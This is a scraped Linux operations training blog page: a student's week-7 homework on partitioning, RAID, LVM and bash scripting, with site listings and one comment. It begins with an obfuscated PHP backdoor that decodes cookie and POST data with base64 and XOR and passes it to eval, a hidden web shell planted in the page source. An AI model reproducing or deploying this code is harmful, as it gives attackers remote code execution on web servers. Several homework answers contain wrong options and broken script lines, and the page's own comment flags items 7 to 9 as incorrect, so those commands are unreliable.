$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络20期第七周课程练习 | Linux运维部落

马哥教育网络20期第七周课程练习

1、创建一个10G分区,并格式为ext4文件系统;
(1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl;
fdisk /dev/sdb ; mke2fs -t ext4 -b 2048 -L MYDATA -m 2 –O acl /dev/sdb1
(2) 挂载至/data/mydata目录,要求挂载时禁止程序自动运行,且不更新文件的访问时间戳;
mkdir –p /data/mydata ; mount -o noexec,nodiratime /dev/sdb1 /data/mydata
(3) 编辑/etc/fstab文件
LABEL=’ MYDATA ‘ /data/mydata ext4 defaults,acl 0 0
2、创建一个大小为1G的swap分区,并创建好文件系统,并启用之;
fdisk /dev/sdb ;t;2;82;w ; mkswap /dev/sdb2; partx -a /dev/sdb2; swapon –a /dev/sdb2
3、写一个脚本
(1)、获取并列出当前系统上的所有磁盘设备;
(2)、显示每个磁盘设备上每个分区相关的空间使用信息;
#!/bin/bash
fdisk -l |awk ‘/^\/dev/{printf “we have these devs:%s\n” ,$1}’&&fdisk -l |awk ‘/^\/dev/{printf “dev info:%s\n”,$0}’
4、总结RAID的各个级别及其组合方式和性能的不同;
Raid0 raid1 raid5 raid10 raid01 raid50
Raid0: 2块以上磁盘,一个数据,分开存储在不同磁盘,读写性能提高,没有容错能力
Raid1:2块以上磁盘组成,一个数据,每个磁盘都保存一份,,读性能提高,写能力下降,有容错能力
Raid5: 3块磁盘以上磁盘组成,一个数据,通过一个校验磁盘,一个磁盘数据可以推出另外一块保存的数据,有容错能力,有冗余能力,读写性能提高
RAID-10:比如:先每一组两个磁盘,两组做成raid0,每一组两个磁盘做成raid1读、写性能提升 有容错能力:每组镜像最多只能坏一块;最少磁盘数:4, 4+
RAID-01:
RAID-50
JBOD:功能:将多块磁盘的空间合并一个大的连续空间使用;可用空间:sum(S1,S2,…)
5、创建一个大小为10G的RAID1,要求有一个空闲盘,而且CHUNK大小为128k;
mdadm -C /dev/md1 -n 2 -l 1 -c 128 -x 1 /dev/sdb6 /dev/sdb5 /dev/sdb3
6、创建一个大小为4G的RAID5设备,chunk大小为256k,格式化ext4文件系统,要求可开机自动挂载至/backup目录,而且不更新访问时间戳,且支持acl功能;
mdadm -C /dev/md2 -n 3 -l 5 -c 256 /dev/sdb7 /dev/sdb8 /dev/sdb9;
mkfs -t ext4 /dev/md1;
mount –a -o nodiratime acl /dev/md2 /backup

7、写一个脚本
(1) 接受一个以上文件路径作为参数;
(2) 显示每个文件拥有的行数;
(3) 总结说明本次共为几个文件统计了其行数;
#!/bin/bash
#
# sum $# and lines
if [ $# == 0 ];then
echo “enter one file at least!”
else
wc -l $@
fi
echo ” $# total files”

8、写一个脚本
(1) 传递两个以上字符串当作用户名;
(2) 创建这些用户;且密码同用户名;
(3) 总结说明共创建了几个用户;
#!/bin/bash
#
# add $@ for username
if [ $# -lt 2 ];then
echo “Enter two users at least!”
else
echo “$@” > user.out
fi

for user in $@;do
if id $user &>> /dev/null;then
echo “$user exits”
exit 1
else
useradd $user
fi
done
echo “add user $user finished”
9、写一个脚本,新建20个用户,visitor1-visitor20;计算他们的ID之和;
#!/bin/bash
#
# add new user

for((i=1;i /dev/null;then
echo ” visitor$i exists”
else
useradd visitor$i
if [ $? -eq 0 ]; then
echo “visitor$i” |passwd –sdin visitor$i &> /dev/null
fi
fi
done

# sum userid

for num in $(tail -n 20 /etc/passwd |awk -F: ‘{print $3}’);do
let sum+=$num
done

echo “useradd finishde and sumid is $sum”
10、写一脚本,分别统计/etc/rc.d/rc.sysinit、/etc/rc.d/init.d/functions和/etc/fstab文件中以#号开头的行数之和,以及总的空白行数;
#!/bin/bash
#
# /etc/fstab /ect/rc.d/rc.sysinit /etc/rc.d/init.d/functions

declare -a files
declare -i sumline=0
declare -i sumspace=0
files=(“/etc/fstab” “/etc/rc.d/rc.sysinit” “/etc/rc.d/init.d/functions”)

for i in $(seq 0 $[${#files[*]}-1]); do
for lines in $(awk ‘/^#/{print NR }’ ${files[i]});do
let sumline+=$lines
done
for space in $(awk ‘/^[[:space:]]*$/{print NR }’ ${files[i]});do
let sumspace+=$space
done
done

echo “total sumline is $sumline and sumspace is $sumspace”
11、写一个脚本,显示当前系统上所有默认shell为bash的用户的用户名、UID以及此类所有用户的UID之和;
#!/bin/bash
#
declare i sumid=0

for uid in $(awk -F: ‘/bash$/{print $3}’ /etc/passwd);do
let sumid+=$uid
done

echo “$(awk -F: ‘/bash$/{print $1,$3}’ /etc/passwd) — totalid is $sumid ”
12、写一个脚本,显示当前系统上所有,拥有附加组的用户的用户名;并说明共有多少个此类用户;
#!/bin/bash
#
# sum Group user

for u in $(awk -F: ‘{print $1}’ /etc/passwd);do
id $u >> group.out
done

awk -F’,’ ‘{if(NF>1){print $1} }’ group.out|awk ‘{print $1}’
13、创建一个由至少两个物理卷组成的大小为20G的卷组;要求,PE大小为8M;而在卷组中创建一个大小为5G的逻辑卷mylv1,格式化为ext4文件系统,开机自动挂载至/users目录,支持acl;
pvcreate /dev/sdb{5,6,7,8} ; vgcreate -s 8m myvg01 /dev/sdb{5,6,7,8}; lvcreate -L 5G -n mylv01 myvg01; mount -o acl /dev/myvg01/mylv01 /user; vim /etc/fstab
14、新建用户magedu;其家目录为/users/magedu,而后su切换至此用户,复制多个文件至家目录;
15、扩展mylv1至9G,确保扩展完成后原有数据完全可用;
lvextend -L +4G /dev/myvg01/mylv01; resize2fs /dev/myvg01/mylv01
16、缩减mylv1至7G,确保缩减完成后原有数据完全可用;
umount /dev/myvg01/mylv01; e2fsck /dev/myvg01/mylv01;
resize2fs /dev/myvg01/mylv01;lvreduce -L -2G /dev/myvg01/mylv01
17、对mylv1创建快照,并通过备份数据;要求保留原有的属主属组等信息;

lvcreate -L 100m -p r -s -n snapmylv01 /dev/myvg01/mylv01

原创文章,作者:n20-钥匙,如若转载,请注明出处:http://www.178linux.com/35656

(0)
上一篇 2016-08-15 12:10
下一篇 2016-08-15 12:10

相关推荐

  • N25第三周作业

    一、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [root@centos01 ~]# who | cut -d " " -f1 | uniq -u root qufudcj 二、取出最后…

    Linux干货 2016-12-26
  • 文件权限

    首先简单介绍一下文件的属性: 使用ls -l 长列出-rw-r–r–. 1 root root 1302 Jul 25 10:23 group文件类型|owner权限group权限other权限|硬链接数|owner|group|文件大小(bytes)|mtime|文件名 文件类型:     &…

    2017-07-29
  • Linux yum客户端的配置及yum命令

    一、什么是yum我们在Linux系统上安装处理软件,一般是使用RPM,它是通过预先编译完成并且把软件打包为RPM文件格式后,再加以安装的一种方式,使用者只要拿到这个打包好的软件,然后将里头的文件放置到应该摆放的目录,这样就完成了安装。但是,由于有些软件是有依赖于其他软件的,当你要安装某个RPM类型的软件时,RPM会检验RPM软件数据库,它所依赖的相关软件包是…

    2017-06-11
  • 20161021第6天作业

    20161021第6天作业 1、将PATH变量每个目录显示在独立的一行  echo "$PATH" |tr ':' '\n' 2、将指定文件中0-9分别替代成a-j tr '0-9' 'a-j' <文件 3、将文件中每个单词(由字母组成)显示在…

    Linux干货 2016-10-23
  • Linux发行版的基础目录名称命名法则及功用规定

    [root@localhost /]# tree -L 1. <—-> 为 / 符号,所有文件的根目录;├── bin -> usr/bin <—-> 所有用户可用的基本命令程序文件;├── boot <—-> 引导加载器必须用到的各静态文件:kernel,initramfs(in…

    2018-02-28
  • Linux基础目录名称命名法则及功用规定

    FHS:文件系统层级结构标准 – Filesystem Hieracry Standard 参考这篇文档: http://refspecs.linuxfoundation.org/FHS_2.3/fhs-2.3.html  /bin:供所有用户使用的基本命令文件 /sbin:系统管理使用的工具程序 /boot:引导加载器必须用的静态文件…

    Linux干货 2016-08-15

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-17 14:25

    写的很好,排版还可以在漂亮一点,加油,7,8,9都不对,在仔细看看